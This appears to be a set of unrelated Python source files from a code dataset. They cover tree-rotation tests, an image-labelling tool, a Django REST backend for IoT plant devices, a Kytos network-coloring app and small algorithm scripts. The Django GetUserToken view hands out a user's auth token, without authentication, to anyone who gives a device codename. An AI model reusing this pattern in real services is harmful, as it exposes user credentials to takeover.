\"Start\")\n ax.scatter(path[-1, 0], path[-1, 1], path[-1, 2], color=\"red\")\n ax.text(path[-1, 0], path[-1, 1], path[-1, 2], \"End\")\n\n\nfig = plt.figure()\nrandom_walk_3d(1000)\nplt.show()\n","sub_path":"Random_walk_3D/random_walk_3D_grid.py","file_name":"random_walk_3D_grid.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"603513706","text":"\nimport simple_bst\nimport print_bst\n\nfrom rotation.v3 import rotate_right, rotate_left\n\n\nptree = print_bst.print_node\n\n\ndef test_base_case():\n \"\"\"\n This test case is to make sure to_list() (implemented using DFS),\n produces the perfectly ordered sequence;\n\n It also verifies BST printer is working correctly.\n \"\"\"\n root = simple_bst.Node(133)\n nums = [686, 906, 667, 76, -270, 637, 1201, 1311, 671, 948]\n nums_sorted = sorted(nums + [133])\n for num in nums:\n root.insert(num)\n assert nums_sorted == root.to_list()\n\n\ndef test_rotate_right():\n root = simple_bst.Node(133)\n nums = [686, 906, 667, 76, -270, 637, 1201, 1311, 671, 948]\n for num in nums:\n root.insert(num)\n # print_bst.print_node(root)\n before = root.to_list()\n a_node = root.search(686)\n rotate_right(a_node)\n after = root.to_list()\n # print_bst.print_node(root)\n assert before == after, '\\n{}\\nvs\\n{}'.format(before, after)\n\n\ndef test_rotate_right_edge_cases():\n root = simple_bst.Node(133)\n\n # single node or Null\n assert root == rotate_right(root)\n assert not rotate_right(None)\n\n # subtree with missing branches\n nums = [1, 2, 3, 4, 5]\n for num in nums:\n root.insert(num)\n # (133)\n # (1)\n # (2)\n # (3)\n # Node(2) has no left child, bail out\n a_node = root.search(2)\n rotate_right(a_node)\n\n # root node has no parent, bail out\n rotate_right(root)\n\n root.insert(-100)\n a_node = root.search(1)\n before = root.to_list()\n # this is a good case showing that, the longer branch (1,2,3,4...)\n # should rotate toward the shorter branch (1, -100) to improve\n # balance\n # print_bst.print_node(root)\n rotate_right(a_node)\n # print_bst.print_node(root)\n after = root.to_list()\n assert before == after\n\n\ndef test_rotate_left():\n root = simple_bst.Node(133)\n nums = [686, 906, 667, 76, -270, 637, 1201, 1311, 671, 948]\n for num in nums:\n root.insert(num)\n # print_bst.print_node(root)\n before = root.to_list()\n a_node = root.search(906)\n rotate_left(a_node)\n # print_bst.print_node(root)\n after = root.to_list()\n assert before == after\n\n\ndef test_repeatedly_rotate_left():\n root = simple_bst.Node(133)\n for num in range(1, 4):\n root.insert(num)\n a_node = root.search(1)\n a_node = rotate_left(a_node)\n assert 2 == a_node.value\n assert 133 == a_node.parent.value\n a_node = rotate_left(a_node)\n assert 3 == a_node.value\n assert 133 == a_node.parent.value\n a_node = rotate_right(a_node)\n assert 2 == a_node.value\n assert 133 == a_node.parent.value\n a_node = rotate_right(a_node)\n assert 1 == a_node.value\n assert 133 == a_node.parent.value\n\n\ndef test_RL():\n root = simple_bst.Node(133)\n nums = [686, 906, 76, 1201, 948]\n for num in nums:\n root.insert(num)\n ptree(root)\n rotate_right(root.search(1201))\n ptree(root)\n rotate_left(root.search(906))\n ptree(root)\n new_root = simple_bst.Node(0)\n new_root.right = root\n root.parent = new_root\n new_root = rotate_left(root)\n ptree(new_root)\n\n\nif __name__ == '__main__':\n test_base_case()\n test_rotate_right()\n test_rotate_right_edge_cases()\n test_rotate_left()\n test_repeatedly_rotate_left()\n test_RL()\n\n\n","sub_path":"balancing_tree/test_rotation.py","file_name":"test_rotation.py","file_ext":"py","file_size_in_byte":3350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"158310039","text":"import os\nimport cv2\nimport pdb\nimport pandas as pd\nfrom tkinter import *\n\nSAVEAFTERSTEPS = 1\nWIDTHTHRESHOLD = 2\nHEIGHTTHRESHOLD = 2\nmainFolder = os.getcwd()\n\nvarList = []\n\ndef assignAndCreateFolder(folderPath):\n if not os.path.exists(folderPath):\n os.makedirs(folderPath)\n return folderPath\n\nclass GUIFunctions:\n\n def CreateMainWindow(self,LabelsList,objectIDNum):\n self.firstWindow = Tk()\n self.currentRowNumber = 0\n Label(self.firstWindow, text='Select Label for this ObjectID {}'.format(objectIDNum)).grid(row=self.currentRowNumber)\n self.currentRowNumber = self.currentRowNumber + 1\n \n \"\"\"\n self.varList = []\n for i in range(0,len(LabelsList)):\n eachLabel = LabelsList[i]\n self.varList.append(IntVar())\n Checkbutton(self.firstWindow, text=eachLabel, variable=self.varList[i]).grid(row=self.currentRowNumber, sticky=W)\n self.currentRowNumber = self.currentRowNumber + 1\n \"\"\"\n \n self.labelChooser = IntVar()\n for i in range(0,len(LabelsList)):\n eachLabel = LabelsList[i]\n Radiobutton(self.firstWindow, text=eachLabel, variable=self.labelChooser,value=i+1,command=self.CloseAllWindows).grid(row=self.currentRowNumber,sticky=W)\n self.currentRowNumber = self.currentRowNumber + 1\n mainloop()\n\n def GetLabelFromWindow(self,LabelsList,objectIDNum):\n self.CreateMainWindow(LabelsList,objectIDNum)\n selectedLabel = LabelsList[int(self.labelChooser.get())-1]\n #print(\"Selected Label is {}\".format(selectedLabel))\n return selectedLabel\n \n def CloseAllWindows(self):\n self.firstWindow.destroy()\n \nclass mouseClickFunctions:\n guiF = GUIFunctions()\n\n def initializeParams(self):\n self.refPt = {}\n self.done = {}\n self.DISPLAYNAME = \"LabelEditor\"\n self.boxStart= {}\n self.labels = {}\n self.noOfobjectIDs = 0\n\n def clickAndDraw(self,event, x, y, flags, param):\n \n # if the left mouse button was clicked, record the starting\n # (x, y) coordinates and indicate that cropping is being\n # performed\n if(event == cv2.EVENT_LBUTTONDOWN):\n self.noOfobjectIDs = self.noOfobjectIDs + 1\n self.refPt[self.noOfobjectIDs] = [(x, y)]\n self.boxStart[self.noOfobjectIDs]= True\n self.done[self.noOfobjectIDs] = False\n # check to see if the left mouse button was released\n elif(event == cv2.EVENT_LBUTTONUP):\n # record the ending (x, y) coordinates and indicate that\n # the cropping operation is finished\n\n try:\n self.refPt[self.noOfobjectIDs][1] = (x, y)\n except:\n self.refPt[self.noOfobjectIDs].append((x, y))\n self.done[self.noOfobjectIDs] = True\n self.boxStart[self.noOfobjectIDs] = False\n self.labels[self.noOfobjectIDs] = guiF.GetLabelFromWindow(self.labelsToChooseFromList,self.noOfobjectIDs)\n elif (self.noOfobjectIDs in self.boxStart.keys()):\n if(self.boxStart[self.noOfobjectIDs]== True):\n try:\n self.refPt[self.noOfobjectIDs][1] = (x, y)\n except:\n self.refPt[self.noOfobjectIDs].append((x, y))\n self.imageForDisplay = self.imageCopy.copy()\n for eachBox in range(1,self.noOfobjectIDs+1):\n if(len(self.refPt[eachBox]) == 2):\n cv2.rectangle(self.imageForDisplay, self.refPt[eachBox][0], self.refPt[eachBox][1], (0, 255, 0), 2)\n if not (self.noOfobjectIDs in self.labels.keys()):\n labelNameToDisplay = \"ObjectID\"\n else:\n labelNameToDisplay = self.labels[self.noOfobjectIDs]\n cv2.putText(self.imageForDisplay, \"{0}:{1}\".format(labelNameToDisplay,eachBox), (int(self.refPt[eachBox][0][0]),int(self.refPt[eachBox][0][1]-5)), cv2.FONT_HERSHEY_SIMPLEX, 0.8, (0, 255, 0),1)\n \n cv2.imshow(self.DISPLAYNAME, self.imageForDisplay)\n\n def GetBBoxValues(self):\n return self.refPt,self.labels,self.done\n \n def getBBoxFromMouseOnCaptureWindow(self,imageFrame,labelsList):\n self.imageCopy = imageFrame.copy()\n self.imageForDisplay = self.imageCopy.copy()\n self.labelsToChooseFromList = labelsList\n\n self.initializeParams()\n cv2.namedWindow(self.DISPLAYNAME)\n cv2.setMouseCallback(self.DISPLAYNAME, self.clickAndDraw)\n\n #self.imageForDisplay = cv2.resize(self.imageForDisplay, (640,480), interpolation = cv2.INTER_AREA)\n while True:\n # display the image and wait for a keypress\n \n cv2.imshow(self.DISPLAYNAME, self.imageForDisplay)\n key = cv2.waitKey(1) & 0xFF\n\n # if the 'r' key is pressed, reset the bbox region\n if key == ord(\"r\"):\n self.imageForDisplay = imageFrame.copy()\n self.initializeParams()\n \n # if the 'c' key is pressed, break from the loop\n elif key == ord(\"c\"):\n self.done = {}\n return self.GetBBoxValues()\n break\n \n elif key == ord(\"d\"):\n return self.GetBBoxValues()\n break\n\n\nif __name__ == \"__main__\":\n\n mcF = mouseClickFunctions()\n guiF = GUIFunctions()\n \n imageFolder = os.path.join(mainFolder,\"Data\")\n outputFolder = assignAndCreateFolder(os.path.join(mainFolder,\"GroundTruth\"))\n groundTruthCSVPath = os.path.join(outputFolder,\"GroundTruthInfoMutliLabel.csv\")\n labelListTextFilePath = os.path.join(outputFolder,\"Labels.txt\")\n \n f = open(labelListTextFilePath,'r')\n labelsList = f.read().splitlines()\n f.close()\n\n if not os.path.exists(groundTruthCSVPath):\n groundTruthDataFrame = pd.DataFrame(columns = [\"Imagepath\",\"ObjectID\",\"ObjectType\",\"x\",\"y\",\"w\",\"h\"])\n prevGroundTruthDataFrame = pd.DataFrame(columns = [\"Imagepath\",\"ObjectID\",\"ObjectType\",\"x\",\"y\",\"w\",\"h\"])\n with open(groundTruthCSVPath, 'w',newline='') as f:\n groundTruthDataFrame.to_csv(f,index = False)\n else:\n groundTruthDataFrame = pd.DataFrame()\n prevGroundTruthDataFrame = pd.read_csv(groundTruthCSVPath)\n\n i = 0\n for eachImage in os.listdir(imageFolder):\n\n thisImageFullPath = os.path.join(imageFolder,eachImage)\n if(thisImageFullPath in prevGroundTruthDataFrame[\"Imagepath\"]):\n print(\"Skiping Image as Labels already exists for this image {}\".format(eachImage))\n continue\n\n i = i + 1\n if(i>SAVEAFTERSTEPS):\n groundTruthDataFrame.reset_index(drop=True,inplace= True)\n #groundTruthDataFrame.columns = [\"Imagepath\",\"ObjectID\",\"ObjectType\",\"x\",\"y\",\"w\",\"h\"]\n with open(groundTruthCSVPath, 'a',newline='') as f:\n groundTruthDataFrame.to_csv(f,index = False,header=False)\n i = 0\n groundTruthDataFrame = pd.DataFrame()\n frame = cv2.imread(thisImageFullPath)\n frame = cv2.resize(frame, (640,480), interpolation = cv2.INTER_AREA)\n \n #guiF.CreateMainWindow(labelsList) \n bboxesCollection,labelsCollection,doneBBoxStatusCollection = mcF.getBBoxFromMouseOnCaptureWindow(frame,labelsList)\n #guiF.CloseAllWindows()\n\n for thisObjectID in doneBBoxStatusCollection.keys():\n thisBBox = bboxesCollection[thisObjectID]\n thisLabel = labelsCollection[thisObjectID]\n if ((doneBBoxStatusCollection[thisObjectID] is True) and (len(thisBBox) ==2)):\n x = min(thisBBox[0][0],thisBBox[1][0])\n y = min(thisBBox[0][1],thisBBox[1][1])\n w = abs(thisBBox[1][0] - thisBBox[0][0])\n h = abs(thisBBox[1][1] - thisBBox[0][1])\n if((w >= WIDTHTHRESHOLD)&(h >= HEIGHTTHRESHOLD)):\n groundTruthDataFrame = groundTruthDataFrame.append([[thisImageFullPath,thisObjectID,thisLabel,x,y,w,h]])\n","sub_path":"MultiLabelEditor.py","file_name":"MultiLabelEditor.py","file_ext":"py","file_size_in_byte":8081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"26245698","text":"import pandas as pd\nimport os\nimport sys\nsys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), \"../../..\")))\nfrom app.app.entities.transport_station import TransportStation\n\n\nclass TransportStations:\n\n def __init__(self, tour, graph):\n self.tour = tour\n self.graph = graph\n self.stations = self.__public_transport()\n self.station_count = 1\n\n def get_next(self):\n station = self.stations[self.station_count]\n self.station_count += 1\n if self.station_count == len(self.stations):\n self.station_count = 0\n return station\n\n def to_geojson(self):\n return [t.to_geojson() for t in self.stations]\n\n def __public_transport(self):\n df = pd.read_pickle('./resources/public_transport.p')\n stations = [TransportStation(row, self.tour) for idx, row in df.iterrows()]\n return [self.__closest(station) for station in stations]\n\n def __closest(self, station):\n closest = self.graph.get_closest(station.point)\n geom = closest.iloc[0].geometry\n station.lon = geom.x\n station.lat = geom.y\n station.node_id = closest.index.values[0]\n return station\n","sub_path":"app/app/entities/transport_stations.py","file_name":"transport_stations.py","file_ext":"py","file_size_in_byte":1202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"609417792","text":"from __future__ import print_function\n\nfrom chatette.units import Example, RuleContent, may_get_leading_space, \\\n randomly_change_case, with_leading_lower, with_leading_upper\nfrom chatette.utils import choose\nfrom chatette.parsing.parser_utils import add_escapement_back_in_choice_item, \\\n CHOICE_SEP\n\n\nclass ChoiceRuleContent(RuleContent):\n \"\"\"\n This class represents a choice as it can be contained in a rule,\n with its modifiers.\n Accepted modifiers:\n - leading-space: bool\n - casegen: bool\n - randgen: str\n # TODO: maybe more?\n \"\"\"\n\n def __init__(self, name, leading_space=False, variation_name=None,\n arg_value=None, casegen=False, randgen=None, percentage_gen=None,\n parser=None):\n # NOTE: its name would be the unparsed text as a string\n if randgen is not None and randgen != \"\" and type(randgen) != bool:\n raise SyntaxError(\"Choices cannot have a named randgen, \" +\n \"as was the case for '\" + name + \"': \" + randgen +\n \" ('?' unescaped?)\")\n if variation_name is not None:\n raise SyntaxError(\"Choices cannot have a variation, as was the \" +\n \"case for '\" + name + \"' ('#' unescaped?)\")\n # TODO: change the symbol to a variable from parser_utils\n if arg_value is not None:\n raise SyntaxError(\"Choices cannot have an argument, as was the \" +\n \"case for '\" + name + \"' ('$' unescaped?)\")\n if percentage_gen is not None:\n raise SyntaxError(\"Choices cannot have an percentage for random \" +\n \"generation, as was the case for '\" + name + \"'.\")\n\n if randgen is None:\n randgen = False\n\n super(ChoiceRuleContent, self).__init__(\n name,\n leading_space=leading_space,\n variation_name=None,\n arg_value=None,\n casegen=casegen,\n randgen=randgen,\n percentage_gen=None,\n parser=None)\n\n self.choices = []\n self.casegen_checked = False\n\n\n def can_have_casegen(self):\n for choice in self.choices:\n if len(choice) > 0 and choice[0].can_have_casegen():\n return True\n return False\n\n def check_casegen(self):\n \"\"\"Checks that casegen is applicable (at generation time).\"\"\"\n if not self.casegen_checked and self.casegen:\n if not self.can_have_casegen():\n self.casegen = False\n self.casegen_checked = True\n\n def get_max_nb_generated_examples(self):\n nb_possible_ex = 0\n for choice in self.choices:\n choice_nb_ex = 0\n for token in choice:\n current_nb_ex = token.get_max_nb_generated_examples()\n if choice_nb_ex == 0:\n choice_nb_ex = current_nb_ex\n else:\n choice_nb_ex *= current_nb_ex\n nb_possible_ex += choice_nb_ex\n\n if self.casegen:\n nb_possible_ex *= 2\n if self.randgen:\n nb_possible_ex += 1\n return nb_possible_ex\n\n\n def add_choice(self, choice):\n # ([RuleContent]) -> ()\n if len(choice) <= 0:\n return\n self.choices.append(choice)\n\n def add_choices(self, choices):\n # ([[RuleContent]]) -> ()\n interesting_choices = [choice for choice in choices if len(choice) > 0]\n if len(interesting_choices) <= 0:\n return\n self.choices.extend(interesting_choices)\n\n\n def generate_random(self, generated_randgens=None):\n if generated_randgens is None:\n generated_randgens = dict()\n\n self.check_casegen()\n\n # Manage randgen\n if self.randgen:\n return Example()\n\n if len(self.choices) <= 0:\n return Example()\n\n choice = choose(self.choices)\n generated_example = Example()\n\n for token in choice:\n generated_token = token.generate_random(generated_randgens)\n generated_example.text += generated_token.text\n generated_example.entities.extend(generated_token.entities)\n\n if self.casegen:\n generated_example.text = randomly_change_case(generated_example.text)\n if self.leading_space and may_get_leading_space(generated_example.text):\n generated_example.text = ' ' + generated_example.text\n\n return generated_example\n\n def generate_all(self):\n self.check_casegen()\n\n generated_examples = []\n if self.randgen:\n generated_examples.append(Example())\n\n for choice in self.choices:\n current_examples = []\n for token in choice:\n current_token_all_generations = token.generate_all()\n if len(current_examples) <= 0:\n current_examples = [gen for gen in current_token_all_generations]\n else:\n current_examples = [\n Example(\n partial_example.text + gen.text,\n partial_example.entities + gen.entities\n )\n for partial_example in current_examples\n for gen in current_token_all_generations]\n generated_examples.extend(current_examples)\n\n if self.leading_space:\n for (i, ex) in enumerate(generated_examples):\n if may_get_leading_space(ex.text):\n generated_examples[i].text = ' ' + ex.text\n\n if self.casegen:\n tmp_buffer = []\n for ex in generated_examples:\n tmp_buffer.append(Example(with_leading_lower(ex.text), ex.entities))\n tmp_buffer.append(Example(with_leading_upper(ex.text), ex.entities))\n\n return generated_examples\n\n\n def print_DBG(self, nb_indent=0):\n indentation = nb_indent * '\\t'\n print(indentation + self.name)\n print(indentation + \"\\tvariation name: \" + str(self.variation_name))\n print(indentation + \"\\targ value: \" + str(self.arg_value))\n print(indentation + \"\\tcasegen: \" + str(self.casegen))\n print(indentation + \"\\trandgen: \" + str(self.randgen) + \" with percentage: \"\n + str(self.percentgen))\n\n for choice in self.choices:\n print(indentation + \"\\tChoice:\")\n for token in choice:\n token.print_DBG(nb_indent + 2)\n\n def as_string(self):\n \"\"\"\n Returns the representation of the rule\n as it would be written in a template file.\n \"\"\"\n result = \"\"\n for choice in self.choices:\n if result != \"\":\n result += CHOICE_SEP\n for sub_rule in choice:\n result += \\\n add_escapement_back_in_choice_item(sub_rule.as_string())\n if self.casegen:\n result = '&'+result\n if self.variation_name is not None:\n result += '#'+self.variation_name\n if self.randgen:\n result += '?'\n if self.percentgen != 50:\n result += '/'+str(self.percentgen)\n if self.arg_value is not None:\n result += '$'+self.arg_value\n result = '{' + result + '}'\n if self.leading_space:\n result = ' '+result\n return result\n","sub_path":"chatette/units/choice/rule_content.py","file_name":"rule_content.py","file_ext":"py","file_size_in_byte":7543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"101803028","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom rest_framework.viewsets import ModelViewSet\nfrom rest_framework import views, generics\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.authentication import TokenAuthentication\nfrom rest_framework.response import Response\nfrom rest_framework.authtoken.models import Token\nfrom .serializers import UserDeviceSerializer, MobileUserDeviceSerializer, HistorySerializer\nfrom .models import UserDevice, History\n\n\nclass UserDeviceViewSet(ModelViewSet):\n authentication_classes = (TokenAuthentication,)\n permission_classes = (IsAuthenticated, )\n serializer_class = UserDeviceSerializer\n\n def get_queryset(self):\n queryset = UserDevice.objects.filter(user=self.request.user)\n return queryset\n\n\nclass UpdateDeviceMobileView(generics.UpdateAPIView):\n authentication_classes = (TokenAuthentication,)\n permission_classes = (IsAuthenticated,)\n serializer_class = MobileUserDeviceSerializer\n\n def get_queryset(self):\n queryset = UserDevice.objects.filter(user=self.request.user)\n return queryset\n\n def put(self, request, *args, **kwargs):\n return self.partial_update(request, *args, **kwargs)\n\n\n# For mobile dev\nclass AddTree(views.APIView):\n authentication_classes = (TokenAuthentication,)\n permission_classes = (IsAuthenticated, )\n\n def post(self, request):\n data = request.data\n if ('name' not in data.keys()\n or 'device_type' not in data.keys()\n or 'safe_value' not in data.keys()\n ):\n return Response({\"message\": \"Invalid input\"}, 400)\n attribute = {}\n user_devices = UserDevice.objects.filter(user=self.request.user,\n status=UserDevice.NOT_USED,\n device_type=data['device_type'])\n if user_devices:\n # Get first userdevice that's not used\n user_device = user_devices[0]\n name = data['name']\n safe_value = data['safe_value']\n attribute['safe_value'] = safe_value\n attribute['humidity_value'] = 0\n update_data = {\n \"name\": name,\n \"status\": UserDevice.WORKING,\n \"attribute\": attribute\n }\n user_device_serializer = UserDeviceSerializer(instance=user_device,\n data=update_data,\n partial=True)\n else:\n return Response({\"message\": \"Run out of device\"}, 400)\n if user_device_serializer.is_valid():\n user_device_serializer.save()\n return Response({\"message\": \"Update device successfully\"}, 200)\n else:\n return Response(user_device_serializer.errors, 400)\n\n\nclass UpdateDeviceInfoFromESP(views.APIView):\n authentication_classes = (TokenAuthentication,)\n permission_classes = (IsAuthenticated,)\n\n def post(self, request):\n data = request.data\n attribute = {}\n try:\n user_device = UserDevice.objects.get(code_name=data['code_name'])\n attribute['safe_value'] = user_device.attribute['safe_value']\n attribute['humidity_value'] = data['humidity_value']\n update_data = {\n \"status\": data['status'],\n \"attribute\": attribute\n }\n user_device_serializer = UserDeviceSerializer(instance=user_device,\n data=update_data,\n partial=True)\n except UserDevice.DoesNotExist:\n return Response({\"message\": \"User with the codename does not exist\"}, 404)\n if user_device_serializer.is_valid():\n user_device_serializer.save()\n return Response({\"message\": \"Update from ESP successfully\"}, 200)\n else:\n return Response(user_device_serializer.errors, 400)\n\n\nclass GetUserToken(views.APIView):\n\n def get(self, request):\n if \"codename\" in request.GET.keys():\n codename = request.GET['codename']\n try:\n user_device = UserDevice.objects.select_related('user').get(code_name=codename)\n except UserDevice.DoesNotExist:\n return Response({\"message\": \"User with the codename does not exist\"}, 404)\n token = Token.objects.get(user=user_device.user)\n return Response(token.key, 200)\n return Response({\"message\": \"Miss codename in query\"}, 400)\n\n\nclass HistoryViewSet(ModelViewSet):\n authentication_classes = (TokenAuthentication,)\n permission_classes = (IsAuthenticated,)\n serializer_class = HistorySerializer\n\n def get_queryset(self):\n query_params = self.request.query_params\n queryset = History.objects.filter(user_device__user=self.request.user)\n if query_params.keys():\n if 'user_device_id' in query_params.keys():\n queryset = History.objects.filter(user_device__id=query_params['user_device_id'])\n if 'count' in query_params.keys():\n count = int(query_params['count'])\n queryset = list(reversed(queryset))[:count]\n queryset = list(reversed(queryset))\n return queryset\n\n\n\n\n\n","sub_path":"AutomaticWorld-backend/userdevice/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"374631419","text":"\"\"\"Main module of amlight/coloring Kytos Network Application.\n\nNApp to color a network topology\n\"\"\"\n# Check for import order disabled in pylint due to conflict\n# with isort.\n# pylint: disable=wrong-import-order\n# isort:skip_file\nimport struct\n\nimport requests\nfrom flask import jsonify\nfrom kytos.core import KytosNApp, log, rest\nfrom kytos.core.helpers import listen_to\nfrom napps.amlight.coloring import settings\nfrom pyof.v0x01.common.phy_port import Port\nfrom pyof.v0x04.common.port import PortNo\n\n\nclass Main(KytosNApp):\n \"\"\"Main class of amlight/coloring NApp.\n\n This class is the entry point for this napp.\n \"\"\"\n\n def setup(self):\n \"\"\"Replace the '__init__' method for the KytosNApp subclass.\n\n The setup method is automatically called by the controller when your\n application is loaded.\n\n So, if you have any setup routine, insert it here.\n \"\"\"\n self.switches = {}\n self.execute_as_loop(1)\n\n def execute(self):\n \"\"\" Topology updates are executed through events. \"\"\"\n\n @listen_to('kytos/topology.updated')\n def topology_updated(self, event):\n \"\"\"Update colors on topology update.\"\"\"\n topology = event.content['topology']\n self.update_colors(\n [link.as_dict() for link in topology.links.values()]\n )\n\n def update_colors(self, links):\n \"\"\" Color each switch, with the color based on the switch's DPID.\n After that, if not yet installed, installs, for each switch, flows\n with the color of its neighbors, to send probe packets to the\n controller.\n \"\"\"\n url = settings.FLOW_MANAGER_URL\n\n for switch in self.controller.switches.values():\n if switch.dpid not in self.switches:\n color = int(switch.dpid.replace(':', '')[4:], 16)\n self.switches[switch.dpid] = {'color': color,\n 'neighbors': set(),\n 'flows': {}}\n else:\n self.switches[switch.dpid]['neighbors'] = set()\n\n for link in links:\n source = link['endpoint_a']['switch']\n target = link['endpoint_b']['switch']\n if source != target:\n self.switches[source]['neighbors'].add(target)\n self.switches[target]['neighbors'].add(source)\n\n # Create the flows for each neighbor of each switch and installs it\n # if not already installed\n for dpid, switch_dict in self.switches.items():\n switch = self.controller.get_switch_by_dpid(dpid)\n if switch.ofp_version == '0x01':\n controller_port = Port.OFPP_CONTROLLER\n elif switch.ofp_version == '0x04':\n controller_port = PortNo.OFPP_CONTROLLER\n else:\n continue\n for neighbor in switch_dict['neighbors']:\n if neighbor not in switch_dict['flows']:\n flow_dict = {\n 'table_id': 0,\n 'match': {},\n 'priority': 50000,\n 'actions': [\n {'action_type': 'output', 'port': controller_port}\n ]}\n\n flow_dict['match'][settings.COLOR_FIELD] = \\\n self.color_to_field(\n self.switches[neighbor]['color'],\n settings.COLOR_FIELD\n )\n\n switch_dict['flows'][neighbor] = flow_dict\n returned = requests.post(\n url % dpid,\n json={'flows': [flow_dict]}\n )\n if returned.status_code // 100 != 2:\n log.error('Flow manager returned an error inserting '\n 'flow. Status code %s' %\n (returned.status_code,))\n\n def shutdown(self):\n \"\"\"This method is executed when your napp is unloaded.\n\n If you have some cleanup procedure, insert it here.\n \"\"\"\n\n @staticmethod\n def color_to_field(color, field='dl_src'):\n \"\"\"\n Gets the color number and returns it in a format suitable for the field\n :param color: The color of the switch (integer)\n :param field: The field that will be used to create the flow for the\n color\n :return: A representation of the color suitable for the given field\n \"\"\"\n if field in ('dl_src', 'dl_dst'):\n color_48bits = color & 0xffffffffffffffff\n int_mac = struct.pack('!Q', color_48bits)[2:]\n color_value = ':'.join(['%02x' % b for b in int_mac])\n return color_value.replace('00', 'ee')\n if field in ('nw_src', 'nw_dst'):\n color_32bits = color & 0xffffffff\n int_ip = struct.pack('!L', color_32bits)\n return '.'.join(map(str, int_ip))\n if field in ('in_port', 'dl_vlan', 'tp_src', 'tp_dst'):\n return color & 0xffff\n if field in ('nw_tos', 'nw_proto'):\n return color & 0xff\n return color & 0xff\n\n @rest('colors')\n def rest_colors(self):\n \"\"\" List of switch colors.\"\"\"\n colors = {}\n for dpid, switch_dict in self.switches.items():\n colors[dpid] = {'color_field': settings.COLOR_FIELD,\n 'color_value': self.color_to_field(\n switch_dict['color'],\n settings.COLOR_FIELD\n )}\n return jsonify({'colors': colors})\n\n @staticmethod\n @rest('/settings', methods=['GET'])\n def return_settings():\n \"\"\" List the SDNTrace settings\n Return:\n SETTINGS in JSON format\n \"\"\"\n settings_dict = dict()\n settings_dict['color_field'] = settings.COLOR_FIELD\n settings_dict['coloring_interval'] = settings.COLORING_INTERVAL\n settings_dict['topology_url'] = settings.TOPOLOGY_URL\n settings_dict['flow_manager_url'] = settings.FLOW_MANAGER_URL\n return jsonify(settings_dict)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"172798722","text":"'''\n寻找第k大的数\n'''\n\n\ndef FindMinK(nums, k, left, right):\n def partition(nums, left, right):\n temp = nums[left]\n i, j = left, right\n while i < j:\n while i < j and nums[j] > temp:\n j -= 1\n nums[i] = nums[j]\n while i < j and nums[i] < temp:\n i += 1\n nums[j] = nums[i]\n nums[i] = temp\n return i\n\n t = partition(nums, left, right)\n if t == k - 1:\n return nums[k - 1]\n elif t > k - 1:\n return FindMinK(nums, k, left, t - 1)\n elif t < k - 1:\n return FindMinK(nums, k, t + 1, right)\n\n\nif __name__ == '__main__':\n nums = [1, 2, 3, 4, 7, 8, 9, 5, 6, 0]\n print(FindMinK(nums, 7, 0, len(nums) - 1))\n","sub_path":"Others.py","file_name":"Others.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"577979077","text":"import askme.exceptions as exceptions\nfrom askme.configuration import *\nfrom typing import Text, Tuple\n\n\n\"\"\"Class Quest\n\"\"\"\n\n\nclass Quest:\n\n def __init__(self, text: Text) -> None:\n\n \"\"\"Creates a new Quest, splitting \"text\" according to\n the internal separator specified in the configuration\n\n If \"text\" is empty (or contains only whitespaces/newlines),\n a QuestEmptyTextException is raised, so you may have to check \"text\"\n before calling this constructor\n \"\"\"\n\n if text.strip() == \"\":\n raise exceptions.QuestEmptyTextException()\n\n n_of_seps = text.count(INTERNAL_SEPARATOR)\n if n_of_seps == 0:\n raise exceptions.NoInternalSeparatorException(text)\n elif n_of_seps > 1:\n raise exceptions.TooManyInternalSeparatorsException(text)\n\n ask, answer = text.split(INTERNAL_SEPARATOR) # type: Tuple[Text, Text]\n\n ask = ask.strip()\n answer = answer.strip()\n\n if ask == \"\":\n raise exceptions.EmptyAsk(text)\n\n if answer == \"\":\n raise exceptions.EmptyAnswer(text)\n\n self._ask = ask # type: Text\n self._answer = answer # type: Text\n\n @property\n def ask(self) -> Text:\n\n \"\"\"The ask of the Quest\n \"\"\"\n\n return self._ask\n\n @property\n def answer(self) -> Text:\n\n \"\"\"The answer of the Quest\n \"\"\"\n\n return self._answer\n","sub_path":"askme/quest.py","file_name":"quest.py","file_ext":"py","file_size_in_byte":1433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"644430379","text":"'''\n赵紫望 班级:1702051 学号:17040110047\n算法设计:寻找数组主元素\n'''\n\narray = eval(input()) # 输入目标数组\ncount = 0\nnumber = 0\nnum = array[0]\n\nfor i in array:\n if i == num:\n count += 1\n else:\n if count > 0:\n count -= 1\n if count == 0:\n num = i\n count = 1\nif count>0:\n for j in array:\n if j == num:\n number += 1\nif number > len(array)/2:\n print('主元素为:{},在数组中出现了{}次。'.format(num,number))\nelse:\n print('不存在主元素')\n\n\n","sub_path":"22.py","file_name":"22.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"541718026","text":"from tkinter import *\r\n\r\n\"\"\"\r\n****** Featherweight Editor GUI ******\r\n\r\nComposes all front-end objects and creates an interface.\r\nProvides modifier functions to manipulate UI.\r\n\"\"\"\r\n\r\n# start\r\nwin = Tk()\r\n\r\n''' PRIMITIVE ATTRIBUTES '''\r\nwin_width = 600\r\nwin_height = 400\r\ntcol = \"#222222\"\r\nccol = \"#444444\"\r\n\r\n''' FRAMES '''\r\ntfr = None\r\nbfr = None\r\n\r\n''' WIDGETS '''\r\ntxt = None\r\ncmd = 